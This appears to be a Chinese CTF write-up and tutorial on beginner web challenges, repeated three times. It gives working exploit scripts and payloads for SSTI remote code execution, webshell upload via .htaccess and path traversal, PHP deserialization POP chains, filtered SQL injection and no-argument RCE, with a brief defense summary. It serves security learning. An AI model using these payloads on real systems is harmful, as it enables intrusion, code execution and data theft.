Web安全入门题型解析与实战技巧汇总
字数 2374
更新时间 2025-12-31 12:10:27

Web安全入门题型解析与实战技巧教学文档

一、Web安全基础框架概述

本教学文档系统解析Web安全入门题型,涵盖前端安全、后端漏洞、工具使用等核心知识点,帮助学习者建立完整的Web安全知识体系。

二、题型分类解析

2.1 前端安全与JS绕过(提说你是高玩)

题型特征:基于JavaScript的前端验证机制,需要绕过客户端限制获取flag。

核心知识点

  1. 前端验证机制分析

    • 通过浏览器开发者工具查看JS源码
    • 识别关键验证函数(如getFlag())
    • 分析参数验证逻辑(score和clicks变量)
  2. JS函数调用方法

    // 获取flag的核心函数
    async function getFlag() {
        const response = await fetch('ffffflllllaaaaaagggggg.php?action=get_flag', {
            method: 'POST',
            headers: {'Content-Type': 'application/x-www-form-urlencoded'},
            body: `session_id=${sessionId}&final_score=${score}`
        });
    }
    
  3. Python自动化脚本编写

    import requests
    import time
    
    url = "http://175.27.251.122:33251/"
    session_id = "session_" + str(int(time.time()))
    
    # 注册会话
    res = requests.post(f"{url}ffffflllllaaaaaagggggg.php?action=register",
                       data={"session_id":session_id})
    
    # 分步更新分数绕过检测
    requests.post(f"{url}ffffflllllaaaaaagggggg.php?action=update_score",
                 data={"session_id":session_id, "score":999999, "clicks":999999, "difficulty":"easy"})
    
    requests.post(f"{url}ffffflllllaaaaaagggggg.php?action=update_score",
                 data={"session_id":session_id, "score":1000000, "clicks":1000000, "difficulty":"easy"})
    
    # 获取flag
    res = requests.post(f"{url}ffffflllllaaaaaagggggg.php?action=get_flag",
                       data={"session_id":session_id, "final_score":1000000})
    

关键技巧

  • 分数需要逐步更新,避免触发异常检测
  • 保持session一致性
  • 注意请求头格式要求

2.2 SSTI模板注入(read_login?)

题型特征:存在服务端模板注入漏洞,可通过注入模板代码实现RCE。

核心知识点

  1. Flask SSTI漏洞识别

    • 输入{{7*7}}测试,返回49确认漏洞
    • 识别过滤规则(特殊字符过滤)
  2. 绕过技术

    • 字符串拼接:'__cla'+'ss__'
    • 属性链调用:__bases__[0].__subclasses__()
    • 常用payload结构:
    {{''['__cla'+'ss__']['__ba'+'ses__'][0]['__subc'+'lasses__']()[132]['__in'+'it__']['__glo'+'bals__']['po'+'pen']('cat /f*')|attr('read')()}}
    
  3. 工具配置

    • Yakit配置:使用内置浏览器避免代理问题
    • Burp Suite Intruder模块进行fuzz测试

自动化脚本

import requests
import re

def ssti_exp(url, cmd):
    s = requests.session()
    login_data = {"username": cmd, "password": "a"}
    
    # 注册和登录触发SSTI
    s.post(f"{url}register", data=login_data)
    resp = s.post(f"{url}login", data=login_data)
    
    # 提取执行结果
    pattern = r'<h5>Welcome back, (.*?)!</h5>'
    match = re.search(pattern, resp.text)
    return match.group(1) if match else None

2.3 文件上传漏洞(ez_blog_2.0)

题型特征:存在文件上传功能,需要绕过限制上传Webshell。

核心知识点

  1. 上传限制绕过技术

    • MIME类型绕过
    • 文件扩展名绕过(.php→.txt)
    • .htaccess文件利用:
    <FilesMatch ".*\.txt$">
        SetHandler application/x-httpd-php
    </FilesMatch>
    
  2. 路径穿越技巧

    • 利用递归目录创建特性
    • 使用../进行目录遍历
    • 最终payload:filename=../Pr0/flag.txt
  3. Webshell管理

    • 中国蚁剑使用
    • Hackbar插件POST数据提交
    • 一句话木马:<?php system('cat /*');?>

完整利用流程

import requests

def upload_exp(url):
    s = requests.session()
    
    # 上传.htaccess
    hta_content = '''<FilesMatch "\.txt">\nSetHandler application/x-httpd-php\n</FilesMatch>'''
    s.post(f"{url}publish.php", data={"filename":"../Pr0/.htaccess", "content":hta_content})
    
    # 上传Webshell
    php_content = '''<?php system('cat /*');?>'''
    s.post(f"{url}publish.php", data={"filename":"../Pr0/flag.txt", "content":php_content})
    
    # 访问Webshell
    resp = s.get(f"{url}Pr0/flag.txt")
    return resp.text

2.4 命令注入与长度限制(无言)

题型特征:存在命令注入点但有长度限制(5字符)。

核心知识点

  1. Linux短命令利用

    • nl /*:查看根目录文件
    • cat f*:查看flag文件
    • ls -t:时间排序列出文件
  2. GET参数注入

    import requests
    
    url = "http://175.27.251.122:33267/"
    resp = requests.get(url, params={"Pr0": "nl /*"})
    

2.5 PHP反序列化漏洞(草蛇灰线)

题型特征:存在PHP反序列化点,需要构造POP链。

核心知识点

  1. PHP魔法方法

    • __destruct():对象销毁时触发
    • __wakeup():反序列化时触发
    • __toString():对象被当作字符串时触发
    • __get():访问不存在属性时触发
    • __set():设置不存在属性时触发
  2. POP链构造原理

    • 第一条链(获取密码):
    Amiya::__destruct → Texas::__toString → Lappland::__call → Kaltsit::__invoke
    
    • 第二条链(RCE):
    Amiya::__destruct → Sakiko::__toString → Doctor::__get → W::__set
    
  3. 序列化数据构造

    <?php
    class W { public $bomb = "Pr0_don't_W@nt_y2u_to_u3e_th1s"; public $wisadel = "system('cat /flag');"; }
    class Amiya { public $emotion; public $ring; public $name; }
    // ... 其他类定义
    $payload = serialize(new Amiya());
    ?>
    

自动化利用

import requests
import re

def php_unserialize_exp(url):
    # 第一条链获取密码
    passwd_payload = 'O:5:"Amiya":4:{s:7:"emotion";N;s:4:"ring";N;s:4:"name";O:5:"Texas":2:{s:5:"pocky";N;s:7:"partner";O:8:"Lappland":2:{s:6:"weapon";N;s:6:"target";O:7:"Kaltsit":1:{s:6:"mon3tr";s:21:"Mon3tr is A Cute Cat!";}}}}'
    
    # 第二条链RCE
    rce_payload = 'O:5:"Amiya":4:{s:7:"emotion";N;s:4:"ring";N;s:4:"name";O:6:"Sakiko":4:{s:7:"mutsumi";O:6:"Doctor":2:{s:6:"sanity";O:1:"W":2:{s:4:"bomb";s:30:"Pr0_don\'t_W@nt_y2u_to_u3e_th1s";s:7:"wisadel";s:20:"system(\'cat /flag\');";}s:9:"assistant";N;}s:4:"uika";N;s:5:"umiri";N;s:5:"nyamu";N;}}}'
    
    resp = requests.post(url, data={"arknights": rce_payload})
    return re.search(r'sdpcsec\{.*?\}', resp.text)

2.6 SQL注入绕过(断章)

题型特征:存在SQL注入点但有关键词过滤。

核心知识点

  1. 双写绕过技术

    • selectselselectect
    • oroorr
    • andanandd
  2. 手动注入流程

    • 爆数据库:union select 1,database(),3,4
    • 爆表名:union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
    • 爆字段:union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='secret'
    • 取数据:union select 1,group_concat(flag),3,4 from secret
  3. Burp Suite fuzz测试

    • 使用Intruder模块测试过滤规则
    • 制定有效payload列表

自动化脚本

import requests
import re

def sql_injection_exp(url):
    s = requests.session()
    
    # 登录绕过
    s.post(f"{url}register", data={"username":"admin' oorr '1'='1", "password":"a"})
    s.post(f"{url}login", data={"username":"admin' oorr '1'='1", "password":"a"})
    
    # 分步注入
    steps = [
        "0' union selselectect 1,database(),3,'4",
        "0' union selselectect 1,group_concat(table_name),3,4 from infoorrmation_schema.tables where table_schema=database() anandd '1'='1",
        "0' union selselectect 1,group_concat(column_name),3,4 from infoorrmation_schema.columns where table_name='secret' anandd '1'='1",
        "0' union selselectect 1,group_concat(flag),3,4 from secret where '1'='1"
    ]
    
    for payload in steps:
        resp = s.get(f"{url}search", params={"id": payload})
        # 解析结果
        match = re.search(r'<span class="value">(.*?)</span>', resp.text)
        if match:
            print(f"Result: {match.group(1)}")

2.7 伪协议与无参RCE(浮光)

题型特征:存在文件读取功能,需要利用伪协议和无参RCE。

核心知识点

  1. PHP伪协议利用

    • php://filter/read=convert.iconv.UTF-8.UTF-7/resource=gift.php
    • 绕过URL验证和关键词过滤
  2. 无参RCE技术

    • 正则限制:'/'[^\W]+$(?R)?$/'
    • 可用函数:get_defined_vars(), current(), end(), eval()
    • Payload:eval(end(current(get_defined_vars())));
  3. 目录扫描

    • 使用dirsearch发现隐藏文件
    • 常见备份文件:.zip, .bak, .git

完整利用链

import requests
import re

def filter_rce_exp(url):
    # 伪协议读取源码
    data = {"file": "php://filter/read=convert.iconv.UTF-8.UTF-7/resource=gift.php"}
    resp = requests.post(url, data=data)
    
    # 无参RCE
    gift_data = {"m1xian": "eval(end(current(get_defined_vars())));"}
    params = {"Pr0": "system('cat /*');"}
    
    final_resp = requests.post(f"{url}gift.php", data=gift_data, params=params)
    return re.search(r'sdpcsec\{.*?\}', final_resp.text)

三、工具使用指南

3.1 浏览器开发者工具

  • F12打开控制台
  • 查看和修改前端JS代码
  • 监控网络请求

3.2 Burp Suite配置

  • 设置代理监听
  • Intruder模块进行fuzz测试
  • Repeater模块重放请求

3.3 Yakit安装使用

  • Kali Linux部署指南
  • 内置浏览器避免代理问题
  • 插件化漏洞测试

3.4 中国蚁剑/冰蝎

  • Webshell管理工具
  • 文件系统操作
  • 虚拟终端使用

四、防御措施总结

4.1 前端安全

  • 避免敏感逻辑放在前端
  • 服务端重复验证

4.2 输入验证

  • 白名单过滤机制
  • 参数化查询防止SQL注入

4.3 文件上传

  • 严格的文件类型验证
  • 随机文件名生成
  • 存储目录无执行权限

4.4 序列化安全

  • 避免反序列化用户输入
  • 使用JSON等安全格式

本教学文档涵盖了Web安全入门的核心知识点和实战技巧,通过系统学习和实践,可以建立完整的Web安全知识体系。

Web安全入门题型解析与实战技巧教学文档

一、Web安全基础框架概述

本教学文档系统解析Web安全入门题型,涵盖前端安全、后端漏洞、工具使用等核心知识点,帮助学习者建立完整的Web安全知识体系。

二、题型分类解析

2.1 前端安全与JS绕过(提说你是高玩)

题型特征:基于JavaScript的前端验证机制,需要绕过客户端限制获取flag。

核心知识点

  1. 前端验证机制分析

    • 通过浏览器开发者工具查看JS源码
    • 识别关键验证函数(如getFlag())
    • 分析参数验证逻辑(score和clicks变量)
  2. JS函数调用方法

    // 获取flag的核心函数
    async function getFlag() {
        const response = await fetch('ffffflllllaaaaaagggggg.php?action=get_flag', {
            method: 'POST',
            headers: {'Content-Type': 'application/x-www-form-urlencoded'},
            body: `session_id=${sessionId}&final_score=${score}`
        });
    }
    
  3. Python自动化脚本编写

    import requests
    import time
    
    url = "http://175.27.251.122:33251/"
    session_id = "session_" + str(int(time.time()))
    
    # 注册会话
    res = requests.post(f"{url}ffffflllllaaaaaagggggg.php?action=register",
                       data={"session_id":session_id})
    
    # 分步更新分数绕过检测
    requests.post(f"{url}ffffflllllaaaaaagggggg.php?action=update_score",
                 data={"session_id":session_id, "score":999999, "clicks":999999, "difficulty":"easy"})
    
    requests.post(f"{url}ffffflllllaaaaaagggggg.php?action=update_score",
                 data={"session_id":session_id, "score":1000000, "clicks":1000000, "difficulty":"easy"})
    
    # 获取flag
    res = requests.post(f"{url}ffffflllllaaaaaagggggg.php?action=get_flag",
                       data={"session_id":session_id, "final_score":1000000})
    

关键技巧

  • 分数需要逐步更新,避免触发异常检测
  • 保持session一致性
  • 注意请求头格式要求

2.2 SSTI模板注入(read_login?)

题型特征:存在服务端模板注入漏洞,可通过注入模板代码实现RCE。

核心知识点

  1. Flask SSTI漏洞识别

    • 输入{{7*7}}测试,返回49确认漏洞
    • 识别过滤规则(特殊字符过滤)
  2. 绕过技术

    • 字符串拼接:'__cla'+'ss__'
    • 属性链调用:__bases__[0].__subclasses__()
    • 常用payload结构:
    {{''['__cla'+'ss__']['__ba'+'ses__'][0]['__subc'+'lasses__']()[132]['__in'+'it__']['__glo'+'bals__']['po'+'pen']('cat /f*')|attr('read')()}}
    
  3. 工具配置

    • Yakit配置:使用内置浏览器避免代理问题
    • Burp Suite Intruder模块进行fuzz测试

自动化脚本

import requests
import re

def ssti_exp(url, cmd):
    s = requests.session()
    login_data = {"username": cmd, "password": "a"}
    
    # 注册和登录触发SSTI
    s.post(f"{url}register", data=login_data)
    resp = s.post(f"{url}login", data=login_data)
    
    # 提取执行结果
    pattern = r'<h5>Welcome back, (.*?)!</h5>'
    match = re.search(pattern, resp.text)
    return match.group(1) if match else None

2.3 文件上传漏洞(ez_blog_2.0)

题型特征:存在文件上传功能,需要绕过限制上传Webshell。

核心知识点

  1. 上传限制绕过技术

    • MIME类型绕过
    • 文件扩展名绕过(.php→.txt)
    • .htaccess文件利用:
    <FilesMatch ".*\.txt$">
        SetHandler application/x-httpd-php
    </FilesMatch>
    
  2. 路径穿越技巧

    • 利用递归目录创建特性
    • 使用../进行目录遍历
    • 最终payload:filename=../Pr0/flag.txt
  3. Webshell管理

    • 中国蚁剑使用
    • Hackbar插件POST数据提交
    • 一句话木马:<?php system('cat /*');?>

完整利用流程

import requests

def upload_exp(url):
    s = requests.session()
    
    # 上传.htaccess
    hta_content = '''<FilesMatch "\.txt">\nSetHandler application/x-httpd-php\n</FilesMatch>'''
    s.post(f"{url}publish.php", data={"filename":"../Pr0/.htaccess", "content":hta_content})
    
    # 上传Webshell
    php_content = '''<?php system('cat /*');?>'''
    s.post(f"{url}publish.php", data={"filename":"../Pr0/flag.txt", "content":php_content})
    
    # 访问Webshell
    resp = s.get(f"{url}Pr0/flag.txt")
    return resp.text

2.4 命令注入与长度限制(无言)

题型特征:存在命令注入点但有长度限制(5字符)。

核心知识点

  1. Linux短命令利用

    • nl /*:查看根目录文件
    • cat f*:查看flag文件
    • ls -t:时间排序列出文件
  2. GET参数注入

    import requests
    
    url = "http://175.27.251.122:33267/"
    resp = requests.get(url, params={"Pr0": "nl /*"})
    

2.5 PHP反序列化漏洞(草蛇灰线)

题型特征:存在PHP反序列化点,需要构造POP链。

核心知识点

  1. PHP魔法方法

    • __destruct():对象销毁时触发
    • __wakeup():反序列化时触发
    • __toString():对象被当作字符串时触发
    • __get():访问不存在属性时触发
    • __set():设置不存在属性时触发
  2. POP链构造原理

    • 第一条链(获取密码):
    Amiya::__destruct → Texas::__toString → Lappland::__call → Kaltsit::__invoke
    
    • 第二条链(RCE):
    Amiya::__destruct → Sakiko::__toString → Doctor::__get → W::__set
    
  3. 序列化数据构造

    <?php
    class W { public $bomb = "Pr0_don't_W@nt_y2u_to_u3e_th1s"; public $wisadel = "system('cat /flag');"; }
    class Amiya { public $emotion; public $ring; public $name; }
    // ... 其他类定义
    $payload = serialize(new Amiya());
    ?>
    

自动化利用

import requests
import re

def php_unserialize_exp(url):
    # 第一条链获取密码
    passwd_payload = 'O:5:"Amiya":4:{s:7:"emotion";N;s:4:"ring";N;s:4:"name";O:5:"Texas":2:{s:5:"pocky";N;s:7:"partner";O:8:"Lappland":2:{s:6:"weapon";N;s:6:"target";O:7:"Kaltsit":1:{s:6:"mon3tr";s:21:"Mon3tr is A Cute Cat!";}}}}'
    
    # 第二条链RCE
    rce_payload = 'O:5:"Amiya":4:{s:7:"emotion";N;s:4:"ring";N;s:4:"name";O:6:"Sakiko":4:{s:7:"mutsumi";O:6:"Doctor":2:{s:6:"sanity";O:1:"W":2:{s:4:"bomb";s:30:"Pr0_don\'t_W@nt_y2u_to_u3e_th1s";s:7:"wisadel";s:20:"system(\'cat /flag\');";}s:9:"assistant";N;}s:4:"uika";N;s:5:"umiri";N;s:5:"nyamu";N;}}}'
    
    resp = requests.post(url, data={"arknights": rce_payload})
    return re.search(r'sdpcsec\{.*?\}', resp.text)

2.6 SQL注入绕过(断章)

题型特征:存在SQL注入点但有关键词过滤。

核心知识点

  1. 双写绕过技术

    • selectselselectect
    • oroorr
    • andanandd
  2. 手动注入流程

    • 爆数据库:union select 1,database(),3,4
    • 爆表名:union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
    • 爆字段:union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='secret'
    • 取数据:union select 1,group_concat(flag),3,4 from secret
  3. Burp Suite fuzz测试

    • 使用Intruder模块测试过滤规则
    • 制定有效payload列表

自动化脚本

import requests
import re

def sql_injection_exp(url):
    s = requests.session()
    
    # 登录绕过
    s.post(f"{url}register", data={"username":"admin' oorr '1'='1", "password":"a"})
    s.post(f"{url}login", data={"username":"admin' oorr '1'='1", "password":"a"})
    
    # 分步注入
    steps = [
        "0' union selselectect 1,database(),3,'4",
        "0' union selselectect 1,group_concat(table_name),3,4 from infoorrmation_schema.tables where table_schema=database() anandd '1'='1",
        "0' union selselectect 1,group_concat(column_name),3,4 from infoorrmation_schema.columns where table_name='secret' anandd '1'='1",
        "0' union selselectect 1,group_concat(flag),3,4 from secret where '1'='1"
    ]
    
    for payload in steps:
        resp = s.get(f"{url}search", params={"id": payload})
        # 解析结果
        match = re.search(r'<span class="value">(.*?)</span>', resp.text)
        if match:
            print(f"Result: {match.group(1)}")

2.7 伪协议与无参RCE(浮光)

题型特征:存在文件读取功能,需要利用伪协议和无参RCE。

核心知识点

  1. PHP伪协议利用

    • php://filter/read=convert.iconv.UTF-8.UTF-7/resource=gift.php
    • 绕过URL验证和关键词过滤
  2. 无参RCE技术

    • 正则限制:'/'[^\W]+$(?R)?$/'
    • 可用函数:get_defined_vars(), current(), end(), eval()
    • Payload:eval(end(current(get_defined_vars())));
  3. 目录扫描

    • 使用dirsearch发现隐藏文件
    • 常见备份文件:.zip, .bak, .git

完整利用链

import requests
import re

def filter_rce_exp(url):
    # 伪协议读取源码
    data = {"file": "php://filter/read=convert.iconv.UTF-8.UTF-7/resource=gift.php"}
    resp = requests.post(url, data=data)
    
    # 无参RCE
    gift_data = {"m1xian": "eval(end(current(get_defined_vars())));"}
    params = {"Pr0": "system('cat /*');"}
    
    final_resp = requests.post(f"{url}gift.php", data=gift_data, params=params)
    return re.search(r'sdpcsec\{.*?\}', final_resp.text)

三、工具使用指南

3.1 浏览器开发者工具

  • F12打开控制台
  • 查看和修改前端JS代码
  • 监控网络请求

3.2 Burp Suite配置

  • 设置代理监听
  • Intruder模块进行fuzz测试
  • Repeater模块重放请求

3.3 Yakit安装使用

  • Kali Linux部署指南
  • 内置浏览器避免代理问题
  • 插件化漏洞测试

3.4 中国蚁剑/冰蝎

  • Webshell管理工具
  • 文件系统操作
  • 虚拟终端使用

四、防御措施总结

4.1 前端安全

  • 避免敏感逻辑放在前端
  • 服务端重复验证

4.2 输入验证

  • 白名单过滤机制
  • 参数化查询防止SQL注入

4.3 文件上传

  • 严格的文件类型验证
  • 随机文件名生成
  • 存储目录无执行权限

4.4 序列化安全

  • 避免反序列化用户输入
  • 使用JSON等安全格式

本教学文档涵盖了Web安全入门的核心知识点和实战技巧,通过系统学习和实践,可以建立完整的Web安全知识体系。

Web安全入门题型解析与实战技巧教学文档 一、Web安全基础框架概述 本教学文档系统解析Web安全入门题型,涵盖前端安全、后端漏洞、工具使用等核心知识点,帮助学习者建立完整的Web安全知识体系。 二、题型分类解析 2.1 前端安全与JS绕过(提说你是高玩) 题型特征 :基于JavaScript的前端验证机制,需要绕过客户端限制获取flag。 核心知识点 前端验证机制分析 通过浏览器开发者工具查看JS源码 识别关键验证函数(如getFlag()) 分析参数验证逻辑(score和clicks变量) JS函数调用方法 Python自动化脚本编写 关键技巧 分数需要逐步更新,避免触发异常检测 保持session一致性 注意请求头格式要求 2.2 SSTI模板注入(read_ login?) 题型特征 :存在服务端模板注入漏洞,可通过注入模板代码实现RCE。 核心知识点 Flask SSTI漏洞识别 输入 {{7*7}} 测试,返回49确认漏洞 识别过滤规则(特殊字符过滤) 绕过技术 字符串拼接: '__cla'+'ss__' 属性链调用: __bases__[0].__subclasses__() 常用payload结构: 工具配置 Yakit配置:使用内置浏览器避免代理问题 Burp Suite Intruder模块进行fuzz测试 自动化脚本 2.3 文件上传漏洞(ez_ blog_ 2.0) 题型特征 :存在文件上传功能,需要绕过限制上传Webshell。 核心知识点 上传限制绕过技术 MIME类型绕过 文件扩展名绕过(.php→.txt) .htaccess文件利用: 路径穿越技巧 利用递归目录创建特性 使用 ../ 进行目录遍历 最终payload: filename=../Pr0/flag.txt Webshell管理 中国蚁剑使用 Hackbar插件POST数据提交 一句话木马: <?php system('cat /*');?> 完整利用流程 2.4 命令注入与长度限制(无言) 题型特征 :存在命令注入点但有长度限制(5字符)。 核心知识点 Linux短命令利用 nl /* :查看根目录文件 cat f* :查看flag文件 ls -t :时间排序列出文件 GET参数注入 2.5 PHP反序列化漏洞(草蛇灰线) 题型特征 :存在PHP反序列化点,需要构造POP链。 核心知识点 PHP魔法方法 __destruct() :对象销毁时触发 __wakeup() :反序列化时触发 __toString() :对象被当作字符串时触发 __get() :访问不存在属性时触发 __set() :设置不存在属性时触发 POP链构造原理 第一条链(获取密码): 第二条链(RCE): 序列化数据构造 自动化利用 2.6 SQL注入绕过(断章) 题型特征 :存在SQL注入点但有关键词过滤。 核心知识点 双写绕过技术 select → selselectect or → oorr and → anandd 手动注入流程 爆数据库: union select 1,database(),3,4 爆表名: union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() 爆字段: union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='secret' 取数据: union select 1,group_concat(flag),3,4 from secret Burp Suite fuzz测试 使用Intruder模块测试过滤规则 制定有效payload列表 自动化脚本 2.7 伪协议与无参RCE(浮光) 题型特征 :存在文件读取功能,需要利用伪协议和无参RCE。 核心知识点 PHP伪协议利用 php://filter/read=convert.iconv.UTF-8.UTF-7/resource=gift.php 绕过URL验证和关键词过滤 无参RCE技术 正则限制: '/'[^\W]+\((?R)?\)/' 可用函数: get_defined_vars() , current() , end() , eval() Payload: eval(end(current(get_defined_vars()))); 目录扫描 使用dirsearch发现隐藏文件 常见备份文件: .zip , .bak , .git 完整利用链 三、工具使用指南 3.1 浏览器开发者工具 F12打开控制台 查看和修改前端JS代码 监控网络请求 3.2 Burp Suite配置 设置代理监听 Intruder模块进行fuzz测试 Repeater模块重放请求 3.3 Yakit安装使用 Kali Linux部署指南 内置浏览器避免代理问题 插件化漏洞测试 3.4 中国蚁剑/冰蝎 Webshell管理工具 文件系统操作 虚拟终端使用 四、防御措施总结 4.1 前端安全 避免敏感逻辑放在前端 服务端重复验证 4.2 输入验证 白名单过滤机制 参数化查询防止SQL注入 4.3 文件上传 严格的文件类型验证 随机文件名生成 存储目录无执行权限 4.4 序列化安全 避免反序列化用户输入 使用JSON等安全格式 本教学文档涵盖了Web安全入门的核心知识点和实战技巧,通过系统学习和实践,可以建立完整的Web安全知识体系。